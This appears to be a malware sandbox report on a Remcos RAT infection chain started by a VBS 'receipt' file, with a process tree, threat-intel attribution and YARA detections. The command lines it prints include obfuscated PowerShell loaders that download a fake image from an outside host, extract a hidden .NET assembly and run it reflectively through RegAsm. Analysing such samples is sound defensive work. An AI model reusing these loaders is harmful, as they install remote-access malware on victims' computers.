IDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreC4DgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreOwDgTregDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBlDgTreG4DgTreZDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreDsDgTreIDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEMDgTrebwBtDgTreG0DgTreYQBuDgTreGQDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreFMDgTredQBiDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCwDgTreIDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEwDgTreZQBuDgTreGcDgTredDgTreBoDgTreCkDgTreOwDgTregDgTreCQDgTreYwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreEMDgTrebwBuDgTreHYDgTreZQByDgTreHQDgTreXQDgTre6DgTreDoDgTreRgByDgTreG8DgTrebQBCDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBTDgTreHQDgTrecgBpDgTreG4DgTreZwDgTreoDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreQwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQDgTregDgTreD0DgTreIDgTreBbDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreUgBlDgTreGYDgTrebDgTreBlDgTreGMDgTredDgTreBpDgTreG8DgTrebgDgTreuDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQBdDgTreDoDgTreOgBMDgTreG8DgTreYQBkDgTreCgDgTreJDgTreBjDgTreG8DgTrebQBtDgTreGEDgTrebgBkDgTreEIDgTreeQB0DgTreGUDgTrecwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHQDgTreeQBwDgTreGUDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBBDgTreHMDgTrecwBlDgTreG0DgTreYgBsDgTreHkDgTreLgBHDgTreGUDgTredDgTreBUDgTreHkDgTrecDgTreBlDgTreCgDgTreJwBQDgTreFIDgTreTwBKDgTreEUDgTreVDgTreBPDgTreEEDgTreVQBUDgTreE8DgTreTQBBDgTreEMDgTreQQBPDgTreC4DgTreVgBCDgTreC4DgTreSDgTreBvDgTreG0DgTreZQDgTrenDgTreCkDgTreOwDgTregDgTreCQDgTrebQBlDgTreHQDgTreaDgTreBvDgTreGQDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreB0DgTreHkDgTrecDgTreBlDgTreC4DgTreRwBlDgTreHQDgTreTQBlDgTreHQDgTreaDgTreBvDgTreGQDgTreKDgTreDgTrenDgTreFYDgTreQQBJDgTreCcDgTreKQDgTreuDgTreEkDgTrebgB2DgTreG8DgTreawBlDgTreCgDgTreJDgTreBuDgTreHUDgTrebDgTreBsDgTreCwDgTreIDgTreBbDgTreG8DgTreYgBqDgTreGUDgTreYwB0DgTreFsDgTreXQBdDgTreCDgTreDgTreKDgTreDgTrenDgTreHQDgTreeDgTreB0DgTreC4DgTreYwBjDgTreGMDgTreZQByDgTreC8DgTrecwBjDgTreC8DgTreegBuDgTreC4DgTreZQBuDgTreGkDgTreZDgTreBsDgTreGEDgTrecgBlDgTreGcDgTreeQBhDgTreHQDgTrecwDgTrevDgTreC8DgTreOgBzDgTreHDgTreDgTredDgTreB0DgTreGgDgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreDEDgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreEMDgTreOgBcDgTreFDgTreDgTrecgBvDgTreGcDgTrecgBhDgTreG0DgTreRDgTreBhDgTreHQDgTreYQBcDgTreCcDgTreIDgTreDgTresDgTreCDgTreDgTreJwBvDgTreHYDgTreYQDgTrenDgTreCwDgTreJwBSDgTreGUDgTreZwBBDgTreHMDgTrebQDgTrenDgTreCwDgTreJwDgTrenDgTreCkDgTreKQB9DgTreCDgTreDgTrefQDgTre=';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $codigo.replace('DgTre','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 6528 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3632 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029', 'https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.cccer/sc/zn.enidlaregyats//:sptth' , '1' , 'C:\ProgramData\' , 'ova','RegAsm',''))} }" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

cmd.exe (PID: 1832 cmdline: "C:\Windows\System32\cmd.exe" /C copy *.vbs "C:\ProgramData\ova.vbs" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3176 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 3672 cmdline: "C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

wscript.exe (PID: 2144 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\oahxgk.vbs" MD5: FF00E0480075B095948000BDC66E81F0)

powershell.exe (PID: 7736 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDgTre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDgTre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTre7DgTreCDgTreDgTreaQBmDgTreCDgTreDgTreKDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTretDgTreG4DgTreZQDgTregDgTreCQDgTrebgB1DgTreGwDgTrebDgTreDgTrepDgTreCDgTreDgTreewDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreFQDgTreZQB4DgTreHQDgTreLgBFDgTreG4DgTreYwBvDgTreGQDgTreaQBuDgTreGcDgTreXQDgTre6DgTreDoDgTreVQBUDgTreEYDgTreODgTreDgTreuDgTreEcDgTreZQB0DgTreFMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreQgB5DgTreHQDgTreZQBzDgTreCkDgTreOwDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreIDgTreDgTre9DgTreCDgTreDgTreJwDgTre8DgTreDwDgTreQgBBDgTreFMDgTreRQDgTre2DgTreDQDgTreXwBTDgTreFQDgTreQQBSDgTreFQDgTrePgDgTre+DgTreCcDgTreOwDgTregDgTreCQDgTreZQBuDgTreGQDgTreRgBsDgTreGEDgTreZwDgTregDgTreD0DgTreIDgTreDgTrenDgTreDwDgTrePDgTreBCDgTreEEDgTreUwBFDgTreDYDgTreNDgTreBfDgTreEUDgTreTgBEDgTreD4DgTrePgDgTrenDgTreDsDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreEkDgTrebgBkDgTreGUDgTreeDgTreBPDgTreGYDgTreKDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTrePQDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreLgBJDgTreG4DgTreZDgTreBlDgTreHgDgTreTwBmDgTreCgDgTreJDgTreBlDgTreG4DgTreZDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTregDgTreGkDgTreZgDgTregDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreGUDgTreIDgTreDgTrewDgTreCDgTreDgTreLQBhDgTreG4DgTreZDgTreDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreHQDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreKQDgTregDgTreHsDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreC4DgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreOwDgTregDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBlDgTreG4DgTreZDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreDsDgTreIDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEMDgTrebwBtDgTreG0DgTreYQBuDgTreGQDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreFMDgTredQBiDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCwDgTreIDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEwDgTreZQBuDgTreGcDgTredDgTreBoDgTreCkDgTreOwDgTregDgTreCQDgTreYwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreEMDgTrebwBuDgTreHYDgTreZQByDgTreHQDgTreXQDgTre6DgTreDoDgTreRgByDgTreG8DgTrebQBCDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBTDgTreHQDgTrecgBpDgTreG4DgTreZwDgTreoDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreQwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQDgTregDgTreD0DgTreIDgTreBbDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreUgBlDgTreGYDgTrebDgTreBlDgTreGMDgTredDgTreBpDgTreG8DgTrebgDgTreuDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQBdDgTreDoDgTreOgBMDgTreG8DgTreYQBkDgTreCgDgTreJDgTreBjDgTreG8DgTrebQBtDgTreGEDgTrebgBkDgTreEIDgTreeQB0DgTreGUDgTrecwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHQDgTreeQBwDgTreGUDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBBDgTreHMDgTrecwBlDgTreG0DgTreYgBsDgTreHkDgTreLgBHDgTreGUDgTredDgTreBUDgTreHkDgTrecDgTreBlDgTreCgDgTreJwBQDgTreFIDgTreTwBKDgTreEUDgTreVDgTreBPDgTreEEDgTreVQBUDgTreE8DgTreTQBBDgTreEMDgTreQQBPDgTreC4DgTreVgBCDgTreC4DgTreSDgTreBvDgTreG0DgTreZQDgTrenDgTreCkDgTreOwDgTregDgTreCQDgTrebQBlDgTreHQDgTreaDgTreBvDgTreGQDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreB0DgTreHkDgTrecDgTreBlDgTreC4DgTreRwBlDgTreHQDgTreTQBlDgTreHQDgTreaDgTreBvDgTreGQDgTreKDgTreDgTrenDgTreFYDgTreQQBJDgTreCcDgTreKQDgTreuDgTreEkDgTrebgB2DgTreG8DgTreawBlDgTreCgDgTreJDgTreBuDgTreHUDgTrebDgTreBsDgTreCwDgTreIDgTreBbDgTreG8DgTreYgBqDgTreGUDgTreYwB0DgTreFsDgTreXQBdDgTreCDgTreDgTreKDgTreDgTrenDgTreHQDgTreeDgTreB0DgTreC4DgTreTDgTreBJDgTreFIDgTreUDgTreBBDgTreFYDgTreSDgTreDgTrevDgTreHMDgTreYwDgTrevDgTreHoDgTrebgDgTreuDgTreGUDgTrebgBpDgTreGQDgTrebDgTreBhDgTreHIDgTreZQBnDgTreHkDgTreYQB0DgTreHMDgTreLwDgTrevDgTreDoDgTrecwBwDgTreHQDgTredDgTreBoDgTreCcDgTreIDgTreDgTresDgTreCDgTreDgTreJwDgTrexDgTreCcDgTreIDgTreDgTresDgTreCDgTreDgTreJwBDDgTreDoDgTreXDgTreBQDgTreHIDgTrebwBnDgTreHIDgTreYQBtDgTreEQDgTreYQB0DgTreGEDgTreXDgTreDgTrenDgTreCDgTreDgTreLDgTreDgTregDgTreCcDgTrebwB2DgTreGEDgTreJwDgTresDgTreCcDgTreUgBlDgTreGcDgTreQQBzDgTreG0DgTreJwDgTresDgTreCcDgTreJwDgTrepDgTreCkDgTrefQDgTregDgTreH0DgTre';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $codigo.replace('DgTre','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 1888 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1220 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029', 'https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.LIRPAVH/sc/zn.enidlaregyats//:sptth' , '1' , 'C:\ProgramData\' , 'ova','RegAsm',''))} }" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

cmd.exe (PID: 1988 cmdline: "C:\Windows\System32\cmd.exe" /C copy *.vbs "C:\ProgramData\ova.vbs" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5756 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 3220 cmdline: "C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 5268 cmdline: "C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

wscript.exe (PID: 1740 cmdline: "C:\Windows\System32\WScript.exe" "C:\ProgramData\osma.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

wscript.exe (PID: 7512 cmdline: "C:\Windows\System32\WScript.exe" "C:\ProgramData\osma.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Remcos, RemcosRAT	Remcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity.	APT33 The Gorgon Group UAC-0050	http://malware-traffic-analysis.net/2017/12/22/index.html https://asec.ahnlab.com/en/32376/ https://asec.ahnlab.com/ko/25837/ https://asec.ahnlab.com/ko/32101/ https://blog.360totalsecurity.com/en/vendetta-new-threat-actor-from-europe/	https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
Tapril-30-receipt.vbs	JoeSecurity_VBS_Downloader_Generic	Yara detected VBS Downloader Generic	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\ProgramData\remcos\logs.dat	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
C:\Users\user\AppData\Local\Temp\fbshgr.vbe	JoeSecurity_VBS_Downloader_Generic	Yara detected VBS Downloader Generic	Joe Security
C:\Users\user\AppData\Local\Temp\oahxgk.vbs	JoeSecurity_VBS_Downloader_Generic	Yara detected VBS Downloader Generic	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: powershell.exe PID: 7864	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 7864	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x3e1c4:$b2: ::FromBase64String( 0x3f664:$b2: ::FromBase64String( 0x3fc70:$b2: ::FromBase64String( 0x4039e:$b2: ::FromBase64String( 0x40963:$b2: ::FromBase64String( 0x13522b:$b2: ::FromBase64String( 0x3e029:$b3: ::UTF8.GetString( 0x3f4c9:$b3: ::UTF8.GetString( 0x3fad5:$b3: ::UTF8.GetString( 0x40203:$b3: ::UTF8.GetString( 0x407c8:$b3: ::UTF8.GetString( 0x135099:$b3: ::UTF8.GetString( 0xd0b48:$s1: -join 0xda66b:$s1: -join 0x74c07:$s3: reverse 0x7a911:$s3: reverse 0x8434c:$s3: reverse 0x888ac:$s3: reverse 0x8b083:$s3: reverse 0x8b371:$s3: reverse 0x8ba8b:$s3: reverse
Process Memory Space: powershell.exe PID: 3632	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 3632	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: powershell.exe PID: 3632	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x8b7214:$b2: ::FromBase64String( 0x8b77cc:$b2: ::FromBase64String( 0x8b92f1:$b2: ::FromBase64String( 0x8bcbe1:$b2: ::FromBase64String( 0x8d800d:$b2: ::FromBase64String( 0x8d85cc:$b2: ::FromBase64String( 0x8d8dc3:$b2: ::FromBase64String( 0x8d954e:$b2: ::FromBase64String( 0x8d9aaf:$b2: ::FromBase64String( 0x8dd4ed:$b2: ::FromBase64String( 0x8e0743:$b2: ::FromBase64String( 0x926cf0:$b2: ::FromBase64String( 0x9272a8:$b2: ::FromBase64String( 0x9340e9:$b2: ::FromBase64String( 0x93462f:$b2: ::FromBase64String( 0x93db94:$b2: ::FromBase64String( 0x987d33:$b2: ::FromBase64String( 0x988adf:$b2: ::FromBase64String( 0x9890a4:$b2: ::FromBase64String( 0x98e26a:$b2: ::FromBase64String( 0x98f213:$b2: ::FromBase64String(
Process Memory Space: powershell.exe PID: 1220	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 1220	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
